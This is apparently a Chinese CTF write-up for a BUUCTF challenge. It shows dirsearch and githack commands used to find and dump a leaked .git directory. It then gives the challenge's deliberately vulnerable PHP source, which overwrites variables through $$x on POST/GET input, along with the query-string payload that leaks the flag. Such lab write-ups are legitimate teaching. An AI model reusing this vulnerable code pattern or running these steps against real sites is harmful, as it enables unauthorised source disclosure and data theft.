知识点:
1、git泄露漏洞
2、变量覆盖漏洞
打开靶机,翻到地步发现有输入框:
以为是一个sql注入或者xss,然而点击提交后直接回到了标题页面,后续发现页面所有按钮都是网页标题的链接,无法,抓个包看,啥也没。直接上dirsearch看看有无备份文件啥的:
python dirsearch.py -u "http://2495945c-428a-4ca3-b447-853aa12ca71b.node4.buuoj.cn:81/" -e --timeout=2 -t 1 -x 400,403,404,500,503,429
好家伙,git泄露(git是一个版本控制工具,当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞)直接用githack下源码
python githack.py http://2495945c-428a-4ca3-b447-853aa12ca71b.node4.buuoj.cn/.git/
有一个flag.php(无用)和index.php,审计index.php,下面给出了源代码及解题思路
<?php
include "flag.php";
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){//将$_POST传递的数据当成一个数组(我更愿意叫它字典,其实就是一个个键值对)并遍历
$$x = $y;//$$相当于将变量值化为变量名,例如:$x='handsome',$$x就相当于$handsome,
//这里将每个值变为一个变量,并赋原值,如传递?flag='handsome',到这一步就是 $handsome = 'handsome'
//容易发现我们可以利用此处,任意创建变量并赋值,存在变量覆盖漏洞
}
foreach($_GET as $x => $y){//同上理解即可
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
//这里exit函数打印了handsome变量,利用变量覆盖漏洞,将$handsome的值改为$flag的值
//payload为?handsome=flag&flag=handsome
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
payload为 handsome=flag&flag=handsome
附上手写分析一张
over